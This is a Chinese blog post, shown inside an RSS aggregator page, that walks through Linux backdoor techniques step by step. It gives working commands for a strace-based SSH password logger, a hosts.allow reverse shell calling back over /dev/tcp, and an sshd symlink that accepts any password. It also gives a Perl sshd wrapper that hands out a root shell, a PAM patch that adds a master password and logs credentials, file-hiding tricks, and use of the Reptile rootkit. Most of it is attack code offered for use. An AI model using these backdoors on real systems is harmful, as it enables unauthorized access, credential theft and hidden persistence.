惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
云风的 BLOG
云风的 BLOG
aimingoo的专栏
aimingoo的专栏
Vercel News
Vercel News
T
The Blog of Author Tim Ferriss
F
Full Disclosure
A
About on SuperTechFans
C
Check Point Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
量子位
Know Your Adversary
Know Your Adversary
K
Kaspersky official blog
L
LINUX DO - 热门话题
Recorded Future
Recorded Future
C
Cisco Blogs
M
MIT News - Artificial intelligence
T
Tenable Blog
G
GRAHAM CLULEY
月光博客
月光博客
Recent Announcements
Recent Announcements
V
Visual Studio Blog
IT之家
IT之家
T
The Exploit Database - CXSecurity.com
The GitHub Blog
The GitHub Blog
T
Threat Research - Cisco Blogs
D
DataBreaches.Net
P
Privacy International News Feed
P
Proofpoint News Feed
I
Intezer
博客园 - 叶小钗
C
CXSECURITY Database RSS Feed - CXSecurity.com
The Hacker News
The Hacker News
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
博客园 - Franky
SecWiki News
SecWiki News
宝玉的分享
宝玉的分享
P
Palo Alto Networks Blog
Last Week in AI
Last Week in AI
小众软件
小众软件
Hacker News - Newest:
Hacker News - Newest: "LLM"
O
OpenAI News
N
News and Events Feed by Topic
Microsoft Security Blog
Microsoft Security Blog
Security Archives - TechRepublic
Security Archives - TechRepublic
N
News and Events Feed by Topic
The Cloudflare Blog
Spread Privacy
Spread Privacy
酷 壳 – CoolShell
酷 壳 – CoolShell
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
B
Blog RSS Feed

AresX's Blog

从两篇 X 文章开始:我第一次构建量化系统的回忆录 Xray Crack Patching SSL 指纹识别和绕过 HTB - You know 0xDiablos Docsify 自动生成sidebar.md脚本 Shiro高版本加密方式下的漏洞利用 Xray tomcat回显Gadget对应Payload提取 IDEA远程调试Docker中程序的方法 解决goldenPac报错问题 域渗透学习(七)PTT 票据传递攻击 域渗透学习(六)PTH 哈希传递攻击 域渗透学习(五)基于IPC的远程连接 域渗透学习(四)Dump Password & Hash 域渗透学习(三)域内信息搜集 域渗透学习(二)Kerberos协议 域渗透学习(一)Windows认证机制 JAVA反射机制瞎扯篇 戏说地狱三头犬 关于IPC和PTH用户权限问题 Goindex添加隐藏目录功能
Linux后门
AresX · 2020-03-13 · via AresX's Blog

Backdoor

alias后门 ssh密码记录

1
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh’


后门将终端的输入输出(输入的ssh地址账号密码)和连接信息保存到/tmp/sshpwd-日期.log中

1
cat /tmp/sshpwd-xxx.log


Tcp Wrapper

1
echo ‘ALL: ALL: spawn (bash -c “/bin/bash -i >& /dev/tcp/192.168.10.1/37789 0>&1”) & :allow’ > /etc/hosts.allow 

ssh 连接目标可触发后门回连

软链接SSH后门

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

执行完成后可使用任意密码ssh连接目标机器31337 端口

重启失效

SSH Wrapper后门

1
2
3
4
5
6
7
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下

分析:

1
exec"/bin/sh"if(getpeername(STDIN)=~/^.. 4A /);

如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是13377(4A是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行,相当于反弹一个root shell (sshd是root权限运行的)

1
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd

这一行保证了普通用户也可以正常使用ssh 服务
连接后门:

1
socat STDIO TCP4:target_ip:22,sourceport=13377;

将输入输出重定向至于socket 10.1.100.3:22 (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为31334

这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell 了)成功获取控制端系统 shell

无额外端口,隐蔽性较好

PAM后门

可以简单理解为劫持系统的身份认证机制
测试机器ubuntu
首先判断当前安装的pam版本

下载解压对应版本的pam源码 http://www.linux-pam.org/library/

之后修改两处代码

1
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

第一处
pam_sm_authenicate()函数处,添加FILE *fp

第二处

pam_sm_authenicate()函数尾部

1
2
3
4
5
6
7
8
9
10
11

if (strcmp(p,"test") == 0){
return PAM_SUCCESS;
}


if (retval == PAM_SUCCESS){
fp = fopen("/etc/pam.txt","a");
fprintf(fp,"%s->%s\n",name,p);
fclose(fp);
}

编译 ./configure && make
备份原有PAM模块 mv pam_unix.so pam_unix.so.bak
使用新编译的pam模块替换原有模块
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
完成后可使用添加的密码test登陆

当管理员登陆成功时
密码会被记录在/etc/pam.txt中

隐蔽性最佳,操作较为繁琐

文件隐藏

无法删除的文件

1
echo 'whoami' > ..\ \ \    //最后一个\后也有空格


这种方法建立的文件无法通过rm + tab 或rm -rf ./* 删除

除非知道文件名后面有多少个转义字符\

参数混淆

使用echo 等命令新建一个文件名为 –rf 或者 -rm 的文件



rm在删除时会把文件名当作rm的参数而无法正常删除
如果要删除这种文件
可使用 rm –- ‘-rf’

隐藏权限

可使用 chattr +i 来给文件添加一个无法修改的隐藏属性

chattr -i 即可解除,过于常见,不实用

Rootkit

https://github.com/f0rb1dd3n/Reptile
在目标机器上下载源码

1
2
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile

执行./setup.sh install安装

查看效果



进程与开放的端口均无显示

安装完成后会生成可执行文件到/reptile/ 目录下
目录无法通过ls看到,只能通过输入绝对路径访问
提供的命令:

1
2
3
4
/reptile/reptile_cmd root       提权:任意权限用户执行完成后获取root权限
/reptile/reptile_cmd hide/show <pid> 隐藏/显示 指定pid进程
/reptile/reptile_cmd tcp <IP> <port> hide/show 隐藏/显示指定TCP连接
/reptile/reptile_cmd udp <IP> <port> hide/show 隐藏/显示指定UDP连接

安装控制端

1
2
apt install libreadline-dev 
./setup client

这款rootkit的运作机制为:
使用控制机的特定端口(如配置中的666)给目标任意端口发送一串数据
当目标机器接收到这个数据后,按照配置回连

控制端使用方法与msf的linster相似
需要设置本地监听地址,连接密码,目标机器ip端口等

测试环境为内网被控机器,公网控制端,并且安装时设置了自动回连
此时单独使用./bin/下的listener在公网监听即可,会自动回连

如果安装时没有设置自动回连
可通过手动发送packet来触发回连
公网监听8200 端口

使用packet发送回连请求,接收shell

Page View